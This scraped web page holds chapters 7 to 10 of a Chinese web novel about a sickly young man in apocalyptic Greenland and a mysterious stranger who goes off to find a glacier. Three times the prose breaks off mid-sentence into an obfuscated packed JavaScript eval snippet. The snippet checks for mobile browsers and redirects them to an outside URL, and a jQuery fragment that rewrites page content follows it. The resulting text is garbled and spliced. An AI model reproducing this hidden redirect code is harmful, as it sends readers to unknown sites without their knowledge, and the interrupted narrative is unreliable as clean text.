《在格陵兰岛苟到世界终结》 7. 我喜欢男生 闵疏:…… 闵疏:?? 好不容易生出的睡意在瞬间烟消云散。 在黑暗中,闵疏''啪''地一下睁开了眼睛。 这、这是怎么回事?! 闵疏感受到背后灼热的温度,眼珠子拼命乱转——这床上就两个人,谁在他身后贴着不言而喻。 接着,闵疏忽然腰间一紧。 他整个人僵住,在黑暗中缓缓垂下眼,看见了腰间横贯的一条手臂。 那条手臂刚刚还让他馋得流口水,小臂上肌肉线条流畅,正搭在他的腰上。 闵疏:!!! 闵疏下意识地挣扎起来,然而他刚一动,腰上的手臂就突然收紧。 接着,闵疏就感觉自己在床上‘滋溜’一下平移了一小段,背后撞上了个炽热而坚实的触感。闵疏甚至在耳廓边感到了男人温热的吐息,似乎是很满足似得,发出了一声喟叹。 他被魏长川整个人抱在了怀里。 还不是松松地搂着,还是像抱着个大玩偶一样,一条手臂自腰上横过去,另一条搂着他的肩膀,将闵疏牢牢固定在怀里。 闵疏觉得自己的汗毛都要炸开了! 这、这是什么! 这又是什么直男的小手段吗?! 闵疏满脸通红,感受到男人厚实的胸肌抵在他的脊背上,体温很高,简直像个火炉一样,热烘烘地环住他。闵疏头一次理解到古人说的''暖被窝''是什么意思。 跟他的无措不同,魏长川睡得很香,他的身躯随着悠长的呼吸起伏着,发出略重的呼吸声。 倒也不是打呼噜,男人微沉的呼吸声让闵疏想起之前他打过工的民宿老板养的金毛犬,在阳光好的睡得很舒服的时候就会发出这种声音。 闵疏僵了一会儿,挣也挣不开,动也动不了,过了一会儿,竟也渐渐生出了睡意。 魏长川的怀抱实在是太温暖,让他常年冰凉的手脚都暖了起来。 在温暖的地方,人类的意志一般是很薄弱的,过了一会儿,闵疏便睡了过去。 · 闵疏意外地睡得很熟。 伊苏阿去世后的这几天,他的睡眠一直不太好,经常彻夜彻夜的睡不着。就算是睡着了,有时也会迷迷糊糊地听到摇篮曲的声音,醒来却发现周遭空无一人,然后就再也睡不着了。 而今天,他的睡梦格外黑甜,一个梦也没做。 清晨,他是被一点窸窣声吵醒的。 闵疏睁开眼睛,屋子里还是黑的,他看向窗外,发现风雪还没有停。 接着,他听到了耳边平稳的呼吸声。 闵疏的目光落在男人英挺的眉眼上。 不是何时,他从背对魏长川变成了正对。男人的手臂环着他的肩背,神情放松,还在睡。 见他睡得这么沉,闵疏竟微妙地生出一丝不爽,忽然想起以前网络上流行的一句话——直男轻轻一卖,留我痛苦一生。 这人怎么回事,随随便便跟人搂搂抱抱的,直男会这样吗? 正在这时,魏长川忽然睁开了眼睛。 他的眼形深邃,长睫微微颤了颤,目光逐渐变得清明。当看清两人的姿势时,他眼中闪过惊讶,接着猛地放开了闵疏,退开了些许。可这本就是张单人床,退也退不到哪去。 魏长川看起来十分困惑,他皱起眉,低头看了看自己的手,又看了看闵疏:“……对不起。” 他抬手揉了揉额角,再睁开眼时,神情已经恢复了严肃: “昨晚是我冒犯了。” 他说。 闵疏也有点尴尬,道:“也算不上冒犯。” 他是那种看不得别人尴尬的人,刚才心里那点小埋怨早被他抛到了脑后,主动解围道:“反正都是男的,抱一抱又不会怎么样,哥你别放在心上。” 魏长川的神情还是很严肃,他似乎有点烦躁,抬手捋开额前的头发:“今晚我睡地上。” 闵疏闻言一愣,接着道:“那怎么行?” 他这儿只有一床被褥,房子里也没有地暖,屋子下面隔着地基就是冻土,平时光脚踩在上面都会被冻得发抖,更不要说是睡在上面了。 他们镇上没有医院,要是冻病了可不是开玩笑的。 “绝对不行。” 闵疏皱起眉:“睡地上会生病的,我不介意,哥你就睡床上。” 魏长川听了,不置可否地皱着眉头。 然而说着说着,闵疏又忽然想到自己是同性恋这件事,他不介意,不代表别人不介意,还是得告诉魏长川才行。 于是他道:“对了哥,忘记跟你说了,我喜欢男生。要是哥介意的话——” 闵疏说到这儿,忽然一停。 等等,这个时候说出来,不就显得他是处心积虑的要跟魏长川睡在一张床上吗?闵疏想道。 同时,魏长川听见了他的话,抬头看了他一眼。 闵疏于他对上眼神,顿时僵住了,突然意识到自己就这么在陌生人面前出柜了。 好社死!! 闵疏瞬间尬住了,见魏长川看着他,急忙开始手忙脚乱地解释:“我不是那个意思,我只想说,我虽然喜欢男生,但是不喜欢你——” 听到「不喜欢」三个字,魏长川皱着的眉头松开了些许,表情有点微妙。 闵疏意识到自己说错了话:“不、不不是那个意思!我也不是不喜欢哥!” “哥你很好,长得也很帅……我、我就是想说,虽然我喜欢男生,就算我们睡在一张穿上,我也不会对你做什么的,真的不用担心!” 他手忙脚乱地解释了一通,魏长川在一边听着,倒是没说什么,只是看着闵疏的目光逐渐变得有些微妙。 他的目光落在窘迫地坐在床上的青年,微微向下移动了一点,接着偏过了头: “嗯。” 闵疏听到他说:“我不担心。” 闻言,闵疏愣了愣,接着也低头看了看自己的小胳膊小腿,又看了看魏长川结实的臂膀,沉默了。 闵疏忽然意识到,好像这一早上他说的话没有一句是对的。 难道在冷的地方呆久了脑子也会被冰冻住吗?为什么他的智商好像跟被冻关机的手机一样飞走了? 闵疏彻底被自己的行为尬住,窘迫地一句话都说不出来。 魏长川也没说话,两人就这么尴尬地对立着。 就在这时,一阵窸窣声响起,比方才闵疏听到的还要大声。闵疏警觉地转头看了看窗外,小声道:“屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15018919|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶上的雪太多了……” 格陵兰岛的屋子都是木制的,承重有限,如果积雪太多有可能会把屋子压塌。闵疏有点担心,然而他刚想起身,便听魏长川道: “我去。” 他站起来就走了出去,闵疏都没来得及拦。他赶忙给自己套上保暖的毛绒袜子,宽大的毛衣,和室内穿的加绒裤子,跟着也追了出去。 闵疏打开门,几只睡醒的狗子就围了过来,拿他们沾着雪花的皮毛蹭闵疏,呜呜叫着撒娇。 闵疏随便抓了几块冻鱼喂给它们,这时,他听见厚厚的积雪掉落在院子里的声音。 没一会儿,魏长川走了过来——他身上只穿了闵疏的睡衣,那件在他身上显得很宽大的睡衣紧紧绷在男人身上。随着他走近,狗子们竟然自动给他让开了路,魏长川动作自然地将站在门口的闵疏带进了屋内,顺手关上门。 “哥——” 闵疏惊讶地瞪大了眼睛:“你穿着这身就出去了?” 外面还刮着暴风雪,男人竟穿着身睡衣就出去了? “嗯。” 魏长川似是完全没注意到他的震惊,而是看了眼门,回过头问他:”狗不用放进来?” 闵疏:“不用……” 魏长川点了点头,转身走向浴室,应该是去洗漱的。 闵疏一个人愣在原地,难不成是他病太久,已经忘记健康的人是怎么样了的吗?可就算是纽因特族的男人,在这种天气里也会穿上厚厚的皮毛衣服再出门啊。而且昨天魏长川出现的时候也穿的那身制服看着也不怎么保暖…… 闵疏想起昨晚暖烘烘的被窝,也许有些人的体温就是要高一点? 闵疏有点困惑,但想不明白也就不再多想了。洗漱完毕后,他问魏长川:“哥,早饭你想吃什么?” 魏长川说:“都可以。” 闵疏便说:“那我就随便做点儿吧。” 昨晚吃过面了,闵疏便想着做点别的。他从冰窖里拿出了之前包好了冻上的大馄饨。岛上猪肉短缺,闵疏便提前把新鲜猪肉剁了包了一冰箱的饺子馄饨,之前他害怕自己吃不完放坏了,幸好魏长川来了。 馄饨是拿保鲜带分好的。闵疏给自己煮了一袋,给魏长川煮了两袋。等快煮好了,就往碗里放一勺猪油,再放酱油醋等调味料,精华是一勺提鲜的白糖和三勺辣椒油,一碗美味的红油酸辣味馄饨就做好了。 怕魏长川吃不饱,闵疏还拿糯米粉搓了一碗团子,加自家制的醪糟煮成了碗醪糟团子,摊了个鸡蛋饼,加上酸辣可口的泡菜,就是一桌美味的早餐。 等他把饭端上桌,却没看到魏长川。 正想去找人,闵疏就见大门开了,魏长川走进来,手里拿着不知什么时候从地下室拿出来的铁铲。 闵疏微微睁大眼睛,见男人抬起头,看了他一眼,道:“我把雪铲了一下。” 闵疏闻言向门外看去,果然看到门外几尺厚的积雪从门口到院门被清理出了一条道路。 路特别宽,雪都被堆到了两遍,道路露出黑的土壤,比往日闵疏自己铲的要干净多了。 而且他一铲就是一天,男人半个小时就搞完了。 闵疏有些怔愣,忽然觉得自己偶然捡到的这个人还不错? 8. 冰川 这就是眼里有活的男人吗? 闵疏有点感动,又有点不好意思:“哥,谢谢你啊。” 而后又热情地招呼魏长川:“早饭好了,快坐下吃。” 魏长川也没推辞,走近在餐桌旁坐下,眉眼在食物香甜的气味下微微放松。 馄饨酸辣的滋味很好地驱散了寒冷,魏长川一如既往地吃得很香,饱满的大馄饨一口一个,没多久半碗馄饨都下了肚。 闵疏则是吃得慢很多,他早上一般胃口都不太好。馄饨是自家包的,所以馅料很足,个头也很大,闵疏一口只能吃半个。 魏长川吃到一半,动作忽然顿了顿,看着闵疏的碗皱了皱眉:“你的为什么少那么多?” “啊?” 闵疏一愣,抬起头便见魏长川正皱着眉看着他。他赶忙解释道:”我只吃得下这么多。“ 魏长川依旧皱着眉,盯着闵疏看了两秒,才低下头继续吃饭。 闵疏莫名从他的神情中读出一点不满的味道,但又觉得自己是看错了,便也继续吃自己的饭。但很快,他就知道那不是他的错觉。因为魏长川将自己的饭吃完之后,开始执着地要他将那碗醪糟团子和一半蛋饼吃完。 “再吃一点。” 魏长川皱着眉头道:“你吃得太少了。” 闵疏:…… 他本来在碗里还剩了几个馄顿,都被魏长川逼着吃完了。现在男人还要他吃完那一碗醪糟团子。 “哥……” 闵疏笑得有点勉强:“我真的吃不下了。” 魏长川皱起眉,面上浮现出不满。闵疏一共只吃了十个馄饨,几口蛋饼,摄入远远低于青年男性的平均值。纵使是在世界供应链和人类生产力受到严重破坏的今天,人类基地也在尽全力供给幸存者丰富的食物,特别是营养丰富的肉蛋奶。因为食物的摄入对人类的整体健康有非常重要的影响,人类的体魄和免疫力几乎是人类如今对抗末世的唯一手段。 闵疏这样食欲不振、严重偏瘦的青年在魏长川眼里是绝对的高危人群。 他抱着手臂,神情有些严厉。单看外表还以为是什么天大的事,不会觉得他是在监视着一个人吃饭。 闵疏被看得缩了缩脖子,莫名有点怕魏长川。于是他低下头,舀出一颗团子,塞进了嘴里。 团子软糯香甜,很美味,但对闵疏满满的胃袋是个极大的负担。 闵疏有些艰难地将团子放下去,接着几乎是立刻就打了个嗝。 “呃!” 闵疏瞪大了眼睛,赶紧捂住了自己的嘴。 魏长川看着他,眉头皱得更紧,闵疏被他看得有些紧张,又忍不住打了个嗝。 接着,他便看着魏长川从桌边站了起来,过了一会儿,他端来一杯温水放在闵疏手边:“别吃了,顺顺气。” 闵疏松了口气,刚准备道谢,却见魏长川坐到了他旁边,伸手将他面前的碗拉了过去,直接吃了起来。 闵疏一愣,魏长川用的是他用过的勺子…… 不过魏长川似乎不是很介意,几分钟后,一碗醪糟团子下肚,魏长川将碗盘都收起来洗好。洗完碗后,男人又去把昨天洗好的衣服拿了出来,一一挂在了火炉边的小型晾衣架上。 闵疏挺着鼓鼓的肚子摊在沙发上,看着魏长川晾衣服,恍然发现才不过短短一天,他似乎就习惯了这种生活。 除了做饭什么都不用做,好像家里多了个能干的长工。 闵疏悄咪咪地想,还长得特别帅。 这时,魏长川干完了活,正站在在客厅远离闵疏的一角抽着烟。 他穿着那件白色背心,下身穿着一条黑色长裤,猩红的火光在手指间闪烁,白色的烟雾弥漫在男人英俊的脸庞前。 闵疏缩在单人沙发上,觉得自己正在看画报封面。 魏长川敛着眼,浓密的睫毛落下阴影,遮掩在深邃的眼窝上。就算是什么都不做,都会让旁观者觉得这是个在沉思着什么的忧郁男子。 然而待他抬起眼时,冰冷的眸光自乌黑的眼中射出,会让人瞬间忘却他的外表: “我在寻找一座冰川。” 他对闵疏道:“应该在岛上的东北部,你听说过吗?” 闵疏一愣,接着道:“你是说阿萨尼特冰川吗?那离这儿不远。“ 阿萨尼特,是伊努图克语中’极光’的意思。这座冰川是整座岛上最大的,冰舌一直从雪盆中延伸到海边。这座冰山同时也是当地因纽特人口中的「祖地」,是当地族人心中的朝圣之地。之前,当小镇上的人都还没离开的时候,每年进入极昼的第一天镇长都会组织所有镇民到冰川祭祀,闵疏也会跟着一起去,所以他对冰川一代还挺熟悉的。 闻言,魏长川的眼眸闪了闪:“对。” 他道:“冰川离这儿有多远?” 闵疏想了想,道:“有二十多公里,坐雪橇过去的话,天气好一个小时,天气不好两个多小时。” 格陵兰岛除了首都努克以外的所有城市都没有道路,交通只能靠狗拉雪橇,徒步,或者就是坐船走水路。如果没有镇长留给他的几只狗狗,闵疏在这里基本哪里都去不了。 “要去得话,最好是趁着这几天还没进入极夜就得去了,要不然根本看不清路。” 闵疏道:“哥,你是要去干什么啊?” 魏长川没有回答他的问题,而是点了点头,问:“有地图吗?” “有。” 闵疏点了点头,接着便从沙发上站起来:“我去给你拿。” 地图在电视柜子里,闵疏要走过去,就不得不靠近魏长川。然而他刚刚走近了几步,就闻到了丝缕烟味,接着猝不及防地呛咳起来: “唔——咳咳咳” 见状,魏长川动作一滞,接着掐灭了烟。 “咳咳咳——哥、我没事,” 闵疏一边咳一边对走过来的魏长川摆手:“你不用管我——咳咳!我只是嗓子有点痒——咳!” “别说话了。“ 魏长川走近,手抚在他的背上,似乎从闵疏拉风箱一样的咳嗽声中听出了什么:“你的肺有问题?” 闵疏咳得脸有些涨红,捂着自己嘴道:“咳、唔——出生的时候、有点发育不良……” 他又咳了一会儿,止住了喉间的痒意,然而就在这时,他的呼吸又忽然急促起来。 糟糕,闵疏一边抽气一边心里大叫不好,因为肺上的问题,咳嗽有些时候会打乱他呼吸的节奏,以至于二氧化碳排出过多而导致呼吸碱性中毒——也就人们口中的过度呼吸。 闵疏不禁半蹲在了地上,一只手拽住了领口。 就在这时,一只灼热的手抚住了他的下颌,闵疏被迫抬起了头。 接着,口鼻出便被盖上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15018920|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么东西。 闵疏不适的眨了眨眼,眼尾流下两滴泪,隔着水光尽量睁开眼往下看,才意识到那是个塑料袋。在他急促的呼吸声之外,魏长川沉稳的声音响起: “吸气。” 闵疏随着他的话吐息起来,过了一会儿,他的呼吸渐渐平稳。 塑料袋被从他的口鼻上移开,闵疏这时才看见魏长川正半跪在他面前,微微蹙着眉,手依旧捏着他的下颌: “好点了吗?” 闵疏眨了两下眼睛,又是两滴泪落下来,赶忙点点头:“我好多了。” 魏长川依旧皱着眉凝视着他,顿了片刻,才放开了闵疏的下巴,拇指顺便蹭掉了那尖尖下颌上的泪水:“你经常这样吗?” 闵疏随着他的动作炸了眨眼睛,有点心虚地看了魏长川一眼,小声道:“其实……也不是很经常……” 然而他果然看到魏长川的眉头一抽,垂眼看着他,眼神有些发沉。 闵疏不知道该怎么形容男人的目光,似乎是有些可怜他,又像是人看着细细一条的小猫崽,害怕自己什么时候不留神一脚踩死这只小鼻嘎。 闵疏:“……真的不是特别经常……” 魏长川显然没有相信他,而是扶着闵疏,让他坐回了沙发里。 闵疏觉得自己在男人眼里就是个二级伤残人士。 不过他确实也是个伤残人士,他的残疾人证还在电视柜里放着呢。 闵疏一想,又自己把自己哄好了。 · 两人的对话到这里就结束了,闵疏最后也没问出魏长川要去冰川干什么。 至此,虽然只认识了魏长川一天,闵疏已经感觉到男人似乎在刻意隐瞒着什么。他的身份成迷,身体似乎异于常人地强壮,不知为何独自来到了岛上,似乎还有什么更大的秘密——闵疏实在无法说服自己去相信魏长川是个过于强壮的地理学家。 在一般人来看,这个神秘的陌生男人似乎有些危险,但闵疏却不在意。 一方面是因为闵疏直觉他不是坏人,另一方面也是他已经病得不会在意这些了。 甚至有些脑子发抽的时候暗自想过,比起在极低的永夜中孤独地死去,也许被这样一个神秘的男人杀死也不错。 不知何时就会停止运转的身体像是达克摩斯之剑悬挂在他的脑袋上,随时都有可能落下。闵疏一开始还会恐慌,后来就破罐子破摔了,秉着只要折腾不死就往死里折腾的原则把自己折腾到了这个破岛上。 所以对于魏长川的隐瞒,闵疏并没有太在意。 反正也和他没什么关系,别人的事,还是不要问太多的好。 闵疏这样想道。 这天晚上,魏长川坚持要睡在地上。闵疏拗不过他,便在地上用不穿的衣服和皮毛铺了厚厚的一层,又翻出自己的长款羽绒服给男人当被子,心惊胆战地看着魏长川躺在了冰冷的地上。 然而他没有担忧太久,因为卧室里关灯没多久,魏长川就睡着了。 又过了一会儿,闵疏便听到了窸窸窣窣的声音,接着,身边出现了另外一个人的热度。 他又被魏长川抱进了怀里。 闵疏:…… 他看了看死死环在自己腰间的手臂,真的要怀疑魏长川是不是在偷偷暗恋他了。 9. 农仓 第二天,两人面面相觑。 魏长川面容俊美,眼中滑过惊讶,接着有些紧张地,一点一点移开了放在闵疏腰上的手。 他看了眼闵疏,又回头看了眼地上杂乱的衣服:“……我昨天又?” 闵疏已经有点麻木了,主动道:“哥,你别介意。” 魏长川陷入了沉默。他皱着眉,一头短发睡得有些杂乱,表情有些困惑。但不得不说,帅哥就算是刚睡醒脸都没洗也是帅的。现在的魏长川就像只被石头砸晕了脑袋的雄狮,连迷茫的表情都很性感。 闵疏瞪着他,接着,缓慢而绝望地低下了头。 跟这样一个绝世大帅哥同床共枕两个晚上,他竟然一点反应都没有。 闵疏绝望了。 他记得他那两页纸都写不下的先天疾病里面没有阳*痿这一条啊? 闵疏宛若遭晴天霹雳,他还是嘴都没亲过的小雏鸡啊!怎么、怎么就不行了呢?? 闵疏大受打击,一早上都神情暗淡,意志昏沉。 早饭煮的是菜肉粥加他之前包好冻起来的羊肉包子,还有几个昨天卤好放了一夜入味的茶叶蛋。然而闵疏却兴致缺缺,吃了一个茶叶蛋和半个羊肉包子就放下了手。 他神情忧郁,低着头盯着自己看,难不成——是他不喜欢魏长川这个类型的? 闵疏想着,悄悄抬起头,刚好看见魏长川一口咬掉了一大半包子,脸颊些许鼓起。他还没梳头,一头乌黑而粗硬的头发杂乱地支棱者,吃饭的时候眉眼也略微压着,随着咀嚼的动作,下颌连带着脖颈上的线条一起动,看得人食指大动。 并不是对包子。 闵疏:……啊啊啊啊啊!! 对这么个充满性张力的大帅哥都没反应,他大概真的是不行了!! 闵疏抬手’啪’地一下打在自己额头上,不愿面对现实,非常绝望,有点想死。 一个男人没有了XX,跟咸鱼有什么区别!! 就在这时,男人低沉的声音响起:“怎么了?” 闵疏一个机灵抬起头,欲盖弥彰道:“没、没事,哈哈、“ 魏长川看着他,又看了看青年面前基本没怎么动的盘子,皱了皱眉。 在闵疏观察他的时候,他也在观察闵疏。 这个青年看似普通,却又处处透着奇异。 独自生活在极地小镇的华国人。 体质非常虚弱,有不止一项先天疾病,却能在世界上自然条件最恶劣的地区之一存活到现在。 最奇怪的是,他不知为何对这个青年天然有种亲近之意。白天清醒的时候还能勉强克制,然而晚上睡着了以后他就像是完全被本能驱使,一而再、再而三地在无意识中靠近青年。 魏长川从来没有遇见过这种事。他神经紧绷,睡眠很浅,往日里一有什么风吹草动就会醒来。然而在青年这里,他却很快就会坠入深眠。 魏长川并不喜欢这种对自己的身体失去控制的感觉。 然而闵疏看起来实在是太无害了。 他面前,青年穿着一件厚实的毛衣,身板却还是显得单薄。闵疏只有脸颊上还有点肉,笑的时候还算阳光。 现在他脸上没了笑意,尖尖的下巴就更显出伶仃,皮肤白得近乎透明,像打了霜的小白菜。脸上唯一有点精神的就是那双带着浅浅双眼皮的丹凤眼,眸色清透,笑起来的时候眼尾翘起,还有点机灵样儿。 现在耷拉着眉眼,就只剩可怜了。 不夸张地说,若是末世前将闵疏随便丢到一个老小区,大姨们非得一人给他炖一锅大肉不可。 而或许是英雄情节作祟,魏长川看他这个可怜兮兮的样子,心中的质疑逐渐淡了,眉头却是越皱越紧。 他垂下眼,看了闵疏的餐盘一眼,忽然伸出手将盘子推了推:“再吃点。” 闵疏低着头,兴致缺缺地看了盘子一眼:“吃不下了。” 魏长川听了,没说什么,只是将剩下的食物收了起来,却偏没有收闵疏面前的餐盘。 他拿着东西站起来,在经过闵疏时停了停:“我洗完碗之前,吃完。” 随后就走进了后厨。 闵疏本来还在打击下恍恍惚惚,这一下给他直接干精神了。男人低沉的声音爬上他的脊背,让闵疏登时有种高中晚自习摸鱼时教导主任的脸出现在后门小窗口的感觉。 闵疏一下子坐直了,三下五除二就将剩下的半个包子吃下了肚。 后厨响起哗啦哗啦的水声,几分钟后,魏长川走回来,收走了他面前空掉的餐盘。 闵疏看着男人肩宽腿长的背影,忽然知道自己为什么没感觉了。 魏长川这么凶,不像男朋友,像他爹。 怪不得他没反应。 闵疏直接把自己哄好了,等魏长川从厨房里出来,便见青年忽然变成了一幅阳光灿烂的样子。 “哥,我要去镇上看看鸡窝。” 闵疏一边说一边挣扎着往腿上套毛皮裤子:“你跟我去吗?” 魏长川看了看他,又看了看外面呼啸的风雪,点了点头。 因为终年冰雪,格陵兰岛在历史上是没有畜牧业和种植业的。近代来有了温室、大棚等农业手段,岛上才开始畜养一些动物以及种植蔬菜。 “之前不是全球变暖很严重吗?” 闵疏一边在雪地里深一脚浅一脚地走,一边道:“那时候夏天有很多地方都能长出草皮,所以有人养些猪牛羊什么的,但是后来天太冷了,就养不了了。” 闵疏说着,抬手拉开了农仓的大门,一股暖风扑面而来。 格陵兰岛上的农仓都通了暖气,因此才能让家畜熬过寒冷的冬日。 闵疏能力有限,只租了两个农栏,左边养鸡,右边养了几头进口小香猪。为什么不养大猪呢?因为闵疏自知杀猪的时候他按不住,再说了,他也吃不了那么多猪肉。 然而闵疏走到自己的农栏前,便见几只母鸡挤在角落里抱窝,一只雄鸡倒在地上,已经硬了。 闵疏微怔:“又冻死了一只。” 魏长川走过来,站在他身后。 闵疏在原地站了片刻,才缓缓叹了口气,走进栏去,自母鸡身下掏出几个新鲜鸡蛋: “幸好冻死的不是母鸡。” 闵疏将鸡蛋放进随身携带的布袋里,嘟囔道:“要不然鸡蛋都没得吃。” 他走出来,魏长川接过了袋子,朝旁边的栏内看了一眼:“把猪杀了吧。” 闵疏顺着他的目光看去,便见仅剩的一头小香猪蜷缩在墙角,许久都没有动静。只能从时不时颤抖的肚腩上看出它还活着。 闵疏又叹了口气,点了点头:“杀了吧。” 现在杀还能吃肉,再隔一天就只能吃冷冻臭猪肉了。 于是闵疏坐到了一边,揣着袖子,看着魏长川手起刀落,干脆地解决了小香猪。猪猪只来得及发出半声尖利的嚎叫,就没了生息。魏长川动作利落地按着猪放了血,按照部位分解成小块,整个过程用时不到半小时。 为免衣服被弄脏,魏长川只穿了一件背心。闵疏看着他一手拎着屠刀,另一只手拎着装猪肉的袋子走来,不禁坐直了身。 “哥——” 待他走近,闵疏露出讨好的笑容,嘿嘿笑了两声:“您到底是做什么工作的?” 魏长川看了他一眼,没回答,低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闵疏又被拒绝了一次,本来是有些失落的。但是一回家,扑面而来的暖气登时让他全身都暖了起来。闵疏’啊’了一声,抖了抖身上的积雪,跑过去窝在壁炉边的单人沙发里,又想到晚上有新鲜猪肉吃,一下子感到了一阵甜蜜的幸福。 管他以后会怎么样,还是过好当下最重要!说不定他明天就嘎了呢? 闵疏很快把那点儿失落忘在了脑后,晚上兴致勃勃地做了一大桌子菜。排骨被魏长川砍成肥瘦均匀的小段,一半用来烧土豆,一半做成了糖醋味。猪腹部的五花肉煮好后切成薄片,被闵疏用家乡味道的豆瓣酱炒成了回锅肉,就连猪下水都被他洗干净拿来烤了,放在加热后的石板上做成了铁板肥肠,滋滋冒油,飘香百里。 魏长川显然对今天的全肉宴很满意,先是盯着闵疏吃到实在吃不下了,再将剩下的一扫而空。 饭后,碗按照惯例是魏长川洗,闵疏则是直挺挺地坐在沙发上,掀起衣服揉着自己的鼓鼓囊囊的肚子,忍不住打了个饱嗝。 他现在感觉自己就是被魏长川喂养的猪,男人盯着的眼神让闵疏觉得这人随时会将他拎起来上称称重。 闵疏吃多了,血液全集中在胃部,窝在沙发里很暖和,整个人都有点晕晕乎乎的。 当魏长川走过来时,他都快要睡着了。 然而就在这时,男人的声音传来: “我明天出发去冰川。” 闵疏逐渐滑向梦乡的的意识一下子就被拉了回来,猛地睁开了眼睛。 10. 第一次探险 “什么?” 闵疏惊地从椅子上直接弹了起来:“你明天要去哪?” 魏长川没看他,低头拿出烟盒,忽然像是想起什么时动作一顿,又将烟揣了回去,靠在窗边淡淡道:“冰川。” 闵疏瞪大了眼睛,觉得血液一下子回到了脑部。他看了看窗外依旧在呼啸的风雪,又回过头看向男人: “哥,你开玩笑的吧?” 闵疏道:“这外头雪还没停呢,怎么去?” 小镇上风雪肆虐,白天的能见度都不到一米,晚上更是什么都看不见。灰白的风雪和广大的雪原几乎融为一体,地平线消失,天地混为一体。 就算是最有经验的纽因特族猎人,在这样恶劣的天气里都会迷失方向。 更不用说零下几十度的狂风会迅速夺去人的体表温度,就算是穿着最保暖的衣物,在外面呆久了也很容易失温。如果在雪地冻僵,又不能及时找到遮蔽物,那就很危险了。 然而魏长川神情平静,似乎全未将外头狂暴的天气放在眼里:“没事。” 这怎么可能没事?闵疏还想接着说什么,魏长川却转头走出了客厅,不知道鼓捣什么去了。闵疏有点半信半疑,觉得魏长川应该不是认真的吧?然而他想到几天前魏长川忽然自风雪中出现的场景,又有点不确定了。 但冰川可不是开玩笑的。 闵疏想道,小镇附近的那座冰川周围的气候尤其多变,就连当地人也只敢在天气晴朗的时候去,不管魏长川是做什么的,现在去未免也太危险了。 闵疏心里有事,晚上在床上躺了很久都没睡着。 魏长川倒是一贯的睡得很香,长手长脚缠在他身上,胸膛热热的,活像个大型暖宝宝。闵疏待在他怀里,听着男人微沉的呼吸声,到了后半夜才渐渐有了睡意。 等明天,再好好跟魏长川说一说吧。 在堕入睡梦前,闵疏这样想。 然而等到清晨,闵疏醒来的时候,却发现往日里紧紧箍着他的手臂不见了。 他一愣,侧过头,发觉身边空无一人。 被窝冰凉,已经失去了另一个人的温度,魏长川竟然趁着清晨天还没亮时就离开了。 闵疏足足愣了半分钟,才一个激灵从床上跳了起来,环顾四周——发现魏长川的制服和随身携带的东西全都不见了。他穿过的睡衣被整齐叠放好,放在床头,拖鞋也被整齐地放在了一边。 闵疏里里外外四处搜查了一番,确认男人什么都没留下,又匆匆走到门口去。 一开门,风雪的呼啸声骤然灌入,闵疏在狂风中眯起眼睛,除了一片灰白什么看不见。 五只皮毛丰厚的雪橇犬躺在后院的窝里,见闵疏出来,纷纷跑出来将他围住。 看见它们,闵疏的心猛地下沉。 魏长川竟然连雪橇犬都没带。 他难道打算徒步走到冰川去吗? 闵疏抬起头,尽量远地看进灰白的风雪中,然而目光却无法穿透风暴,只能看到一片黑暗。旷远的风声在他的耳边回响,足以遮掩一切人声,漫天的风雪仿若一张幕布,将闵疏和他的小屋严密得包围了起来。雪原似乎变成了大海,而这座中餐厅是唯一的孤舟。 · 魏长川的离去和他的出现一样突然。 闵疏又变回了一个人。 不过这也没什么,魏长川本来就是意料之外的存在。只不过是这种略显突然的不告而别让他有些意外罢了。 闵疏照样起床,喂狗,给自己做丰盛的早饭,跟狗玩一会儿,吃晚饭,看看电视,睡觉。就是晚上睡觉的时候没人暖被窝,稍微有点冷罢了,闵疏没有被难倒——他往床上加了床北极熊皮毛毯子,照样睡得很暖和。 没了人帮忙铲雪,闵疏也懒得弄了,所幸连门都不出,就窝在家里做做饭饭看看春晚,也很悠闲。 不过有几次,闵疏还会下意识地在被窝里寻找热源,手都伸出去了才意识到魏长川已经走了。 说不会感到寂寞那是骗人的,不过闵疏向来是个自我调节能力很强的人,到了第三天,他已经完全重新适应了一个人的生活。 晚上,闵疏抱着零食篮,嘴里嚼着用小香猪做的炸酥肉。 又香又嫩的猪肉挂上炸粉,下锅高温炸至金黄,出锅的时候香气扑鼻。因为火候刚好,外壳不会太硬,而是非常酥脆,一咬里头浓郁的肉汁就流了出来。 闵疏一口一个小酥肉,电视里没放春晚,而是换了盘磁带,正在放港城著名影星周鑫驰的电影。 这位影星以搞笑著称,闵疏看着看着,就咧开了嘴: “哈哈哈哈哈哈——” 屋里传来的笑声穿透力极墙,院子里的狗狗抬起头,观察了窗口一下,又趴回了墙根底下,用爪子把头顶竖起的耳朵扒拉了下来。 闵疏在屋子里笑得前仰后合,完全不知道自己的笑声正折磨着院子里的狗狗们。魏长川走了,他也不用凹形象了,现在正蹲在沙发上咯咯咯笑得像个傻子。 